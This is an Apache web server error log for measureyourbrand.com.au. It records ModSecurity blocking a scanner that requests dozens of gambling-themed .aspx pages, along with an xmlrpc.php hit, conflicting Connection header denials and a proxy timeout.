[Fri Feb 27 22:39:08.609720 2026] [:error] [pid 56075:tid 56093] [client 185.231.100.72:40296] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aaGsjMKBhrfI6KNv9RhCEgAAAA8"]
[Fri Feb 27 22:39:11.157562 2026] [:error] [pid 56075:tid 56078] [client 185.231.100.72:40300] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aaGsj8KBhrfI6KNv9RhCKgAAAAE"]
[Fri Feb 27 22:39:13.593637 2026] [:error] [pid 49306:tid 49315] [client 185.231.100.72:41588] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aaGskfnSUDZue59Px9tdZgAAAUc"]
[Fri Feb 27 22:39:15.510721 2026] [:error] [pid 54231:tid 54244] [client 93.118.41.99:33744] [client 93.118.41.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.118.41.99, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaGsk-Tvb5AeyJCdY7A8mAAAAEo"]
[Fri Feb 27 22:39:16.285002 2026] [:error] [pid 56075:tid 56101] [client 185.231.100.72:41600] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aaGslMKBhrfI6KNv9RhCPwAAABc"]
[Fri Feb 27 22:39:18.830965 2026] [:error] [pid 56075:tid 56090] [client 185.231.100.72:41608] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aaGslsKBhrfI6KNv9RhCTAAAAAw"]
[Fri Feb 27 22:39:21.243218 2026] [:error] [pid 49306:tid 49308] [client 185.231.100.72:41616] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aaGsmfnSUDZue59Px9tdhQAAAUA"]
[Fri Feb 27 22:39:23.792882 2026] [:error] [pid 49306:tid 49331] [client 185.231.100.72:33066] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aaGsm_nSUDZue59Px9tdiAAAAVc"]
[Fri Feb 27 22:39:26.548647 2026] [:error] [pid 52073:tid 52077] [client 185.231.100.72:33070] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aaGsnoa650YPyxXVeRa6YwAAAYE"]
[Fri Feb 27 22:39:47.981861 2026] [:error] [pid 52073:tid 52076] [client 185.231.100.72:33074] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aaGss4a650YPyxXVeRa67wAAAYA"]
[Fri Feb 27 22:39:50.400572 2026] [:error] [pid 52073:tid 52079] [client 185.231.100.72:36936] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aaGstoa650YPyxXVeRa6_wAAAYM"]
[Fri Feb 27 22:39:52.966098 2026] [:error] [pid 54102:tid 54157] [client 185.231.100.72:53616] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aaGsuHi74D4fiYUm_GeL3QAAAI0"]
[Fri Feb 27 22:39:55.494557 2026] [:error] [pid 54231:tid 54255] [client 185.231.100.72:53624] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aaGsu-Tvb5AeyJCdY7A8xAAAAFU"]
[Fri Feb 27 22:39:58.005527 2026] [:error] [pid 54102:tid 54169] [client 185.231.100.72:53634] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aaGsvni74D4fiYUm_GeL8gAAAJg"]
[Fri Feb 27 22:40:00.534521 2026] [:error] [pid 54103:tid 54179] [client 185.231.100.72:53636] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aaGswOvG4MPCmE0B2sDGTAAAAMg"]
[Fri Feb 27 22:40:03.232004 2026] [:error] [pid 52073:tid 52088] [client 185.231.100.72:47928] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aaGsw4a650YPyxXVeRa7LQAAAYw"]
[Fri Feb 27 22:40:05.653850 2026] [:error] [pid 54231:tid 54234] [client 185.231.100.72:47942] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aaGsxeTvb5AeyJCdY7A81wAAAEA"]
[Fri Feb 27 22:40:08.180519 2026] [:error] [pid 56075:tid 56078] [client 185.231.100.72:47954] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aaGsyMKBhrfI6KNv9RhCwAAAAAE"]
[Fri Feb 27 22:40:10.703150 2026] [:error] [pid 54101:tid 54113] [client 185.231.100.72:47968] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aaGsylY5qgRktcYTGFtZygAAAcU"]
[Fri Feb 27 22:40:13.215638 2026] [:error] [pid 52073:tid 52077] [client 185.231.100.72:34622] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aaGszYa650YPyxXVeRa7PwAAAYE"]
[Fri Feb 27 22:40:15.729478 2026] [:error] [pid 54103:tid 54177] [client 185.231.100.72:34626] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aaGsz-vG4MPCmE0B2sDGdgAAAMY"]
[Fri Feb 27 22:40:18.242949 2026] [:error] [pid 49306:tid 49328] [client 185.231.100.72:34628] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aaGs0vnSUDZue59Px9tdoQAAAVQ"]
[Fri Feb 27 22:40:20.747271 2026] [:error] [pid 54231:tid 54253] [client 185.231.100.72:34634] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aaGs1OTvb5AeyJCdY7A8-wAAAFM"]
[Fri Feb 27 22:40:23.270198 2026] [:error] [pid 49306:tid 49323] [client 185.231.100.72:56046] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aaGs1_nSUDZue59Px9tdtgAAAU8"]
[Fri Feb 27 22:40:25.777357 2026] [:error] [pid 54102:tid 54145] [client 185.231.100.72:56050] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aaGs2Xi74D4fiYUm_GeMBgAAAIE"]
[Fri Feb 27 22:40:28.269313 2026] [:error] [pid 49306:tid 49327] [client 185.231.100.72:56060] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aaGs3PnSUDZue59Px9tdwgAAAVM"]
[Fri Feb 27 22:40:30.799083 2026] [:error] [pid 56075:tid 56091] [client 185.231.100.72:56064] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aaGs3sKBhrfI6KNv9RhDBAAAAA0"]
[Fri Feb 27 22:40:33.292268 2026] [:error] [pid 49306:tid 49326] [client 185.231.100.72:42934] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aaGs4fnSUDZue59Px9td0AAAAVI"]
[Fri Feb 27 22:40:35.821635 2026] [:error] [pid 56075:tid 56083] [client 185.231.100.72:42948] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aaGs48KBhrfI6KNv9RhDCQAAAAY"]
[Fri Feb 27 22:40:38.314158 2026] [:error] [pid 54101:tid 54128] [client 185.231.100.72:42960] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aaGs5lY5qgRktcYTGFtZ4wAAAdQ"]
[Fri Feb 27 22:40:40.985513 2026] [:error] [pid 52073:tid 52099] [client 185.231.100.72:42976] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aaGs6Ia650YPyxXVeRa7bgAAAZc"]
[Fri Feb 27 22:40:43.636741 2026] [:error] [pid 52073:tid 52091] [client 185.231.100.72:60082] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aaGs64a650YPyxXVeRa7eAAAAY8"]
[Fri Feb 27 22:41:04.803957 2026] [:error] [pid 54101:tid 54123] [client 185.231.100.72:60086] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aaGtAFY5qgRktcYTGFtaCwAAAc8"]
[Fri Feb 27 22:41:07.353119 2026] [:error] [pid 49306:tid 49311] [client 185.231.100.72:36290] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aaGtA_nSUDZue59Px9teAgAAAUM"]
[Fri Feb 27 22:41:10.009774 2026] [:error] [pid 56075:tid 56080] [client 185.231.100.72:36294] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aaGtBsKBhrfI6KNv9RhDiQAAAAM"]
[Fri Feb 27 22:41:12.672972 2026] [:error] [pid 49306:tid 49320] [client 185.231.100.72:53258] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aaGtCPnSUDZue59Px9teHAAAAUw"]
[Fri Feb 27 22:41:15.151798 2026] [:error] [pid 56075:tid 56101] [client 185.231.100.72:53268] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aaGtC8KBhrfI6KNv9RhDiwAAABc"]
[Fri Feb 27 22:41:17.637883 2026] [:error] [pid 54231:tid 54247] [client 185.231.100.72:53276] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aaGtDeTvb5AeyJCdY7A9XAAAAE0"]
[Fri Feb 27 22:41:20.139724 2026] [:error] [pid 54102:tid 54168] [client 185.231.100.72:53282] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aaGtEHi74D4fiYUm_GeMIwAAAJc"]
[Fri Feb 27 22:41:22.789561 2026] [:error] [pid 54231:tid 54246] [client 185.231.100.72:40032] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aaGtEuTvb5AeyJCdY7A9ZAAAAEw"]
[Fri Feb 27 22:41:25.419435 2026] [:error] [pid 62998:tid 63013] [client 185.231.100.72:40038] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aaGtFVQeueXZDUmoLol85wAAAQs"]
[Fri Feb 27 22:41:28.062341 2026] [:error] [pid 52073:tid 52087] [client 185.231.100.72:40044] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aaGtGIa650YPyxXVeRa7wwAAAYs"]
[Fri Feb 27 22:41:30.705144 2026] [:error] [pid 56075:tid 56100] [client 185.231.100.72:40048] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aaGtGsKBhrfI6KNv9RhDlwAAABY"]
[Fri Feb 27 22:41:33.183713 2026] [:error] [pid 56075:tid 56087] [client 185.231.100.72:36202] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aaGtHcKBhrfI6KNv9RhDmQAAAAo"]
[Fri Feb 27 22:41:35.697876 2026] [:error] [pid 49306:tid 49320] [client 185.231.100.72:36216] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aaGtH_nSUDZue59Px9teagAAAUw"]
[Fri Feb 27 22:41:38.165994 2026] [:error] [pid 54102:tid 54168] [client 185.231.100.72:36218] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aaGtIni74D4fiYUm_GeMNQAAAJc"]
[Fri Feb 27 22:41:40.817184 2026] [:error] [pid 49306:tid 49323] [client 185.231.100.72:36234] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aaGtJPnSUDZue59Px9tedwAAAU8"]
[Fri Feb 27 22:41:43.453728 2026] [:error] [pid 49306:tid 49312] [client 185.231.100.72:59064] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aaGtJ_nSUDZue59Px9teggAAAUQ"]
[Fri Feb 27 22:41:46.094983 2026] [:error] [pid 56075:tid 56094] [client 185.231.100.72:59066] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aaGtKsKBhrfI6KNv9RhDswAAABA"]
[Fri Feb 27 22:41:48.597998 2026] [:error] [pid 54102:tid 54162] [client 185.231.100.72:59080] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aaGtLHi74D4fiYUm_GeMSwAAAJI"]
[Fri Feb 27 22:41:51.215510 2026] [:error] [pid 54102:tid 54156] [client 185.231.100.72:59084] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aaGtL3i74D4fiYUm_GeMVQAAAIw"]
[Fri Feb 27 23:55:20.209782 2026] [:error] [pid 56075:tid 56091] [client 101.33.81.73:50288] [client 101.33.81.73] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaG-aMKBhrfI6KNv9RiDfgAAAA0"]
[Sat Feb 28 00:03:50.786444 2026] [:error] [pid 54231:tid 54246] [client 182.42.111.156:48658] [client 182.42.111.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaHAZuTvb5AeyJCdY7BVUAAAAEw"]
[Sat Feb 28 00:18:19.702762 2026] [proxy_fcgi:error] [pid 62998:tid 63013] (70007)The timeout specified has expired: [client 52.138.25.109:10235] AH01075: Error dispatching request to : (polling)
